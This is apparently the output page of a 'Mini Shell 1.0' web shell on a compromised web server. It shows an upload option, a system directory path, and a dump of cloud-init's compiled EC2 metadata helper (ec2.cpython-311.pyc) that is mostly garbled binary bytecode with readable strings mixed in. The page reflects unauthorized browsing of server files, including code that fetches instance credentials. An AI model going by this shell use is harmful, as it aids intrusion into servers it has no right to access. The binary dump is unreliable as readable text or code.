HOME


Mini Shell 1.0
Redirecting to https://devs.lapieza.net/iniciar-sesion Redirecting to https://devs.lapieza.net/iniciar-sesion.
DIR: /lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/
Upload File :
Current File : //lib/python3/dist-packages/cloudinit/sources/helpers/__pycache__/ec2.cpython-311.pyc
�

܍~c�"���ddlZddlZddlmZddlmZmZeje��Z	e
ejg��ZGd�d��Z
Gd�d��Zd�Z								dd�Z										dd
�Z										dd�Z									dd�ZdS)�N)�log)�
url_helper�utilc��eZdZdZd�Zd�ZdS)�MetadataLeafDecoderz.Decodes a leaf blob into something meaningful.c��|sdS|���}|�d��r|�d��rdSdS)NF�{�}T)�strip�
startswith�endswith)�self�texts  �?/usr/lib/python3/dist-packages/cloudinit/sources/helpers/ec2.py�_maybe_json_objectz&MetadataLeafDecoder._maybe_json_objectsM���	��5��z�z�|�|���?�?�3���	�D�M�M�#�$6�$6�	��4��u�c��|sdS	tj|��}n#t$r|cYSwxYw|�|��rO	t	j|��S#ttf$r&}t�	d||��Yd}~nd}~wwxYw|�
d��dkr|���S|S)N�z6Field %s looked like a json object, but it was not: %s�
���)r�
decode_binary�UnicodeDecodeErrorr�json�loads�
ValueError�	TypeError�LOG�warning�find�
splitlines)r�field�blob�es    r�__call__zMetadataLeafDecoder.__call__s����	��2�	��%�d�+�+�D�D��!�	�	�	��K�K�K�	�����"�"�4�(�(�		�
��z�$�'�'�'���	�*�
�
�
����L���������������
�����9�9�T�?�?�b� � ��?�?�$�$�$��s$��*�*�A�B�(B	�	BN)�__name__�
__module__�__qualname__�__doc__rr$�rrrrs8������8�8��������rrc�(�eZdZdd�Zd�Zd�Zd�ZdS)�MetadataMaterializerNc�z�||_d|_||_||_|�t	��|_dS||_dS�N)�_blob�_md�	_base_url�_callerr�
_leaf_decoder)rr"�base_url�caller�leaf_decoders     r�__init__zMetadataMaterializer.__init__7sF����
����!��������!4�!6�!6�D����!-�D���rc���i}g}tj|��}|s||fSd�}d�}|���D]�}|���}||��}|r|s�&|dkr�-||��r||vr|�|���R|�dd��}|}	t
|��dkr"|\}
}tj|
��}
|
�d|
z}	|}|	||<��||fS)Nc�4�|�d��rdSdS)N�/TF)r
��items r�has_childrenz1MetadataMaterializer._parse.<locals>.has_childrenIs ���}�}�S�!�!�
��t��urc�Z�|�d��r|�d��S|S)Nr9)r
�rstripr:s r�get_namez-MetadataMaterializer._parse.<locals>.get_nameOs-���}�}�S�!�!�
(��{�{�3�'�'�'��Krzsecurity-credentials�=�z%s/openssh-key)rrr r�append�split�len�safe_int)rr"�leaves�childrenr<r?r!�
field_name�contents�resource�ident�sub_contentss            r�_parsezMetadataMaterializer._parseAsB�������!�$�'�'���	&��H�%�%�	�	�	�	�	�	�
�_�_�&�&�	.�	.�E��K�K�M�M�E�!��%���J��
�
�
���3�3�3���|�E�"�"�

.��X�-�-��O�O�J�/�/�/�� �;�;�s�A�.�.��%���x�=�=�1�$�$�,4�)�U�L� �M�%�0�0�E��(�#3�u�#=��%1�
�%-��z�"�"���!�!rc�v�|j�|jS|�|j|j��|_|jSr-)r/�_materializer.r0)rs r�materializez MetadataMaterializer.materializels3���8���8�O��$�$�T�Z���@�@����x�rc�n�|�|��\}}i}|D]_}tj||��}|�d��s|dz
}|�|��}|�||��||<�`i}	|���D]H\}
}tj||��}|�|��}
|�|
|
��|	|
<�Ii}|�|��|	�	��D]-}
|
|vrt�d|���"|	|
||
<�.|S)Nr9z&Duplicate key found in results from %s)rMr�combine_urlr
r1rO�itemsr2�update�keysrr)rr"r3rFrG�child_contents�c�	child_url�
child_blob�
leaf_contentsr!rJ�leaf_url�	leaf_blob�joineds               rrOz!MetadataMaterializer._materializersY��!�[�[��.�.�������	I�	I�A�"�.�x��;�;�I��%�%�c�*�*�
!��S� �	����i�0�0�J� $� 1� 1�*�i� H� H�N�1����
�!'�����	H�	H��U�H�!�-�h��A�A�H����X�.�.�I�#'�#5�#5�e�Y�#G�#G�M�%� � ����
�
�n�%�%�%�"�'�'�)�)�	5�	5�E��������D�h�O�O�O�O� -�e� 4��u�
�
��
rr-)r%r&r'r6rMrPrOr)rrr+r+6sV������.�.�.�.�)"�)"�)"�V�������rr+c��|j|vS)z/Returns False if cause.code is in status_codes.)�code)�status_codes�
_request_args�causes   r�skip_retry_on_codesrc�s���:�\�)�)r�latest�http://169.254.169.254�c	��tj||��}tj|d��}d}		|stjtt
��}tj|||||||���}
|
j}	nk#tj$r3}|j	t
vrtjtd|��Yd}~n.d}~wt$rtjtd|��YnwxYw|	S)Nz	user-datar)�ssl_details�timeout�retries�exception_cb�
headers_cb�headers_redactz$Failed fetching userdata from url %s)rrR�	functools�partialrc�SKIP_USERDATA_CODES�read_file_or_urlrI�UrlErrorr_r�logexcr�	Exception)�api_version�metadata_addressrhrirjrlrmrk�ud_url�	user_data�responser#s            r�get_instance_userdatarz�s���
#�$4�k�
B�
B�F�
�
#�F�K�
8�
8�F��I�I��	�%�,�#�%8���L��.��#���%�!�)�
�
�
���%�	�	����M�M�M��6�,�,�,��K��C�V�L�L�L�����������I�I�I���C�?��H�H�H�H�H�I�����s�AA2�2C�)B/�/(C�Cc	��
��tj|||��}tjtj||||||	������
fd�}	�|��}
t|
j|||���}|���}t|t��si}|S#t$r!tjtd||��icYSwxYw)N)rhrirjrlrmrkc���	�|��jS#tj$r4}�r�|��s�t�d|��Yd}~dSd}~wwxYw)Nz&Skipped retrieval of the content of %sz	(skipped))rIrrrrr)�urlr#r4�retrieval_exception_ignore_cbs  ��r�mcallerz'_get_instance_metadata.<locals>.mcaller�s}���
	#��6�#�;�;�'�'���"�	#�	#�	#�1�
#�4�4�Q�7�7�
#�����D�c�J�J�J�"�{�{�{�{�{�����	#���s��A�)A�A)r5zFailed fetching %s from url %s)rrRrnrorqr+rIrP�
isinstance�dictrtrrsr)�treerurvrhrirjr5rlrmrkr~�md_urlrry�materializer�mdr4s          `     @r�_get_instance_metadatar��s�����
#�$4�k�4�
H�
H�F�
�
��#�����%�!����F�#�#�#�#�#�#���6�&�>�>��+���v�w�\�
�
�
���
%�
%�
'�
'���"�t�%�%�	��B��	��������C�9�4��H�H�H��	�	�	����s�AB�(C�?Cc

�6�td||||||||||	���S)Nz
meta-data/)r�rurvrhrirjr5rmrlrkr~�r�)
rurvrhrirjr5rlrmrkr~s
          r�get_instance_metadatar��s<��"�
��)����!�%��!�&C����rc	�4�td|||||||||��
�
S)Nzdynamic/instance-identity)
r�rurvrhrirjr5rmrlrkr�)	rurvrhrirjr5rlrmrks	         r�get_instance_identityr�s9��"�
(��)����!�%��!����r)rdreNrfrfNNN)
rdreNrfrfNNNNN)	rdreNrfrfNNNN)rnr�	cloudinitr�loggingrr�	getLoggerr%r�	frozenset�	NOT_FOUNDrprr+rcrzr�r�r�r)rr�<module>r�s�����������$�$�$�$�$�$�&�&�&�&�&�&�&�&��g���!�!���i��!5� 6�7�7����������FQ�Q�Q�Q�Q�Q�Q�Q�h*�*�*��-��
�
����$�$�$�$�R�-��
�
�����"&�0�0�0�0�h�-��
�
�����"&�����<�-��
�
����������r